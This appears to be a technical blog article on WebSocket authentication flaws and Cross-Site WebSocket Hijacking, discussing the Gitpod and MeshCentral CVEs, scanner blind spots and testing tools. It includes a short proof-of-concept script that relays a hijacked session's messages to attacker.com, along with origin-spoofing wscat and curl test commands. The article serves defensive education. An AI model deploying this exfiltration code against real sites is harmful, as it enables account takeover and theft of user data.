Gitpod accepted WebSocket connections without validating the Origin header. Visiting a malicious link was enough to inject SSH keys and take full control of an account. CVSS 9.6. The fix took one business day. The vulnerability survived months in production before a researcher found it, and that was not an accident: it was a direct consequence of the protocol's architecture.
REST APIs require each request to carry its own authorization context. WebSocket sessions authenticate exactly once, at the HTTP upgrade boundary, and that structural distinction lets privilege changes, token expiration, and session hijacking persist invisibly for hours. Standard API scanners are architecturally incapable of detecting a single message sent after the handshake. This is not a configuration flaw: it is a protocol characteristic that security teams systematically overlook.
Patterns like JWT in the message payload, heartbeat with periodic re-authentication, or short-lived connections with forced reconnection close the window. The problem is that these patterns require team discipline applied consistently. Most WebSocket APIs in production do not adopt them. The HTTP upgrade contract offers none of these protections by default.
WebSocket Authentication Happens Once: Trust Persists Forever
The GET request with the Upgrade: websocket header is the only moment standard security controls apply to a WebSocket session. After the 101 Switching Protocols response, no subsequent message carries an authorization header. The server locks trust to the original session state and holds that state indefinitely until the connection closes.
A REST API checks the token on every call, independently. A WebSocket handler checks the token once and trusts the connection until it closes. A token revoked 10 minutes after the connection was established continues to be accepted by the WebSocket handler without any additional verification.
The OWASP WebSocket Security Cheat Sheet documents this explicitly: WebSockets have no built-in authentication mechanism, and developers carry full responsibility for post-handshake access control. Many teams treat the 101 Switching Protocols response as a fire-and-forget event: authenticated once, trusted forever. HackerOne #211283 shows the direct consequence: at Legal Robot, a privilege change on an already-connected account allowed a low-privilege reader to modify documents as an administrator. The WebSocket session held the original trust context while the account's permissions had changed in the backend. No re-authorization check existed at any point in the connection lifecycle.
CSWSH Is Not Conventional CSRF: Attackers Gain a Persistent Bidirectional Channel
CSRF forges a state-change request. Cross-Site WebSocket Hijacking hijacks a complete bidirectional session. The difference is not one of degree: it is categorical. A successful CSRF attack results in one action executed. A successful CSWSH results in an open channel that the attacker controls while the victim stays connected.
From an attacker-controlled page, new WebSocket("wss://target.com/ws") establishes a connection with the victim's cookies if the server does not validate the Origin. The browser automatically attaches session cookies to WebSocket upgrade requests, the same mechanism that makes CSRF dangerous, applied here with amplified impact. The attacker gets a persistent channel to send commands and read responses in real time, while the victim notices nothing.
// PoC CSWSH: executado em página controlada pelo atacante
const ws = new WebSocket("wss://target.com/ws");
ws.onopen = () => {
ws.send(JSON.stringify({ type: "getUser", id: "123" }));
};
ws.onmessage = (event) => {
fetch("https://attacker.com/collect", {
method: "POST",
body: event.data
});
};
HackerOne #915541 (Stripo, resolved in 4 days in July 2020) shows the production impact: the vulnerable WebSocket handshake exposed the XSRF-TOKEN, session data, and sensitive user information via the hijacked channel. The extracted token allowed forging arbitrary API calls as the legitimate user. CVE-2024-26135 (MeshCentral, CVSS 8.8) went further: Praetorian researchers created persistent login tokens, extracted the sessionKey for cookie forgery, and executed commands as NT AUTHORITY\SYSTEM on Windows endpoints managed by the platform. The control.ashx endpoint accepted WebSocket connections without any origin restriction, disclosed on February 28, 2024. MeshCentral is used in enterprise environments for remote endpoint management, which makes the impact especially critical.
CVE-2023-0957: How Missing Origin Validation Leads to Full Account Takeover in Three Steps
Gitpod shows that a missing Origin validation is not an isolated bug. It is an entry point to a cascading attack chain that combines 3 independent weaknesses, none of which is sufficient alone for full compromise.
Step 1: CSWSH. The Gitpod JSONRPC API accepted WebSocket connections from any origin. Without validation of the Origin header, the attacker's connection was established with the victim's cookies automatically attached by the browser.
Step 2: SameSite bypass. Subdomains under gitpod.io share SameSite context, which defeats Lax protection. Because the attacker controlled a workspace under gitpod.io, the request was same-site under the eTLD+1 rule. Lax cookies are sent normally between subdomains of the same registrable domain. The session cookie traveled cross-origin because the attacker controlled a workspace inside Gitpod's subdomain structure, allowing the upgrade request to carry valid credentials.
Step 3: execution via JSONRPC. With the channel established, the attacker called getLoggedInUser, getGitpodTokens, and addSSHPublicKey through the hijacked connection. One click on a malicious link resulted in SSH key injection and full control of the victim's workspace. The CVE affected all self-hosted Gitpod installations before release 2022.11.2.16, disclosed on February 13, 2023, with a patch available within one business day.
Snyk documented the full chain in a published technical analysis. The identified root cause was the absence of additional authentication within the WebSocket exchange itself. The addSSHPublicKey method executed with the victim's privileges without any verification that the caller had authority to perform that operation after the initial connection was established. Any application that treats 101 Switching Protocols as a fire-and-forget event is exposed to the same attack class.
Standard API Scanners Are Architecturally Blind to WebSocket Traffic
DAST (Dynamic Application Security Testing) tools send HTTP requests and check HTTP responses. After the WebSocket upgrade, HTTP is gone. No standard scanner can reproduce WebSocket message sequences, check whether the server revalidates authentication at message N, or detect that a disconnected user's session still accepts commands.
OpenAPI powers automated REST API scanning: the scanner reads the spec, generates requests, and checks responses. AsyncAPI exists to document WebSocket protocols, but adoption is marginal compared to REST tooling. Without a machine-readable spec, there is no way for a scanner to enumerate message types, generate payloads, or evaluate response semantics. Aikido, Invicti, and most mainstream DAST tools explicitly document that WebSocket endpoints are not supported. StackHawk API Discovery locates WebSocket endpoints in source code but does not test vulnerabilities at the message level.
HTTP access logs capture only the initial upgrade handshake. All subsequent WebSocket frames are invisible to log-based detection in the SIEM. A hijacked session operating for hours generates no log event distinguishable from a legitimate session. The architectural boundary between HTTP and WebSocket creates a visibility gap that simply does not exist in the REST model, where each request is an independent auditable unit.
The WebSocket Security Toolkit: What to Use and When
These tools exist precisely because DAST scanners do not reach this far: the protocol disappears after the 101 and no HTTP request remains to intercept.
Effective WebSocket security testing requires 3 distinct capability layers: (1) manual probing with injected authentication context, (2) pipe automation in test pipelines, (3) systematic fuzzing at the message level. No single tool covers the full attack surface, and mixing layers incorrectly produces false coverage.
For manual probing and authentication context injection, wscat connects to WebSocket endpoints with custom headers for token injection and origin spoofing:
wscat -c wss://target.com/ws \
-H "Cookie: session=victim_token" \
-H "Origin: https://attacker.com"
For pipe automation in test pipelines, websocat (Rust, static binary) supports piping, binary messages, and proxy chaining for complex scenarios:
echo '{"type":"getUser","id":"123"}' | websocat wss://target.com/ws
Burp Suite Pro has a dedicated WebSocket history tab that displays all frames captured during the session, with Repeater for replaying individual messages with arbitrary payload modification. The PortSwigger Web Security Academy provides CSWSH labs to practice origin bypass and message hijacking using Burp as an active interceptor in the proxy chain. For systematic fuzzing at the message level, wsrepl is an interactive TUI built specifically for WebSocket pentesting, with script automation support and a plugin architecture for testing message sequences with controlled payload variations.
wscat covers layer 1, websocat and Burp cover layer 2, wsrepl covers layer 3.
Systematic WebSocket Discovery: Closing the Scanner Gap
The architectural blind spot of scanners is partially addressable through OSINT-oriented discovery in compiled JavaScript assets and upgrade traffic analysis.
Step 1: in the browser DevTools, filter the Network tab by ws:// or wss:// to find active upgrade requests during application navigation. Step 2: search for calls to the WebSocket constructor in client source code, including minified bundles:
grep -r "new WebSocket\|WebSocket(" src/
Step 3: test Origin validation by sending the upgrade request with an arbitrary origin and observing the response code:
curl -v -N \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Origin: https://evil.com" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
https://target.com/ws
A HTTP/1.1 101 Switching Protocols response confirms the absence of origin validation. A 403 Forbidden response indicates the server validates the header. intel.mago.team (disclosure: tool developed by the editorial team) includes WebSocket endpoint discovery as part of the asset enumeration and endpoint fingerprinting pipeline, converting the blind spot from total invisibility to a trackable attack surface before standard scanners even find the endpoint.
Subdomain and endpoint discovery solves the visibility problem. The structural re-authentication problem remains an architectural decision.
The upgrade boundary is not a configuration detail. It is the security architecture decision that determines whether a WebSocket implementation is auditable, re-authenticatable, and visible to scanners. Teams that treat the 101 Switching Protocols response as a fire-and-forget event build persistent attack surfaces that no automated tool in the current stack will find.
Top comments (0)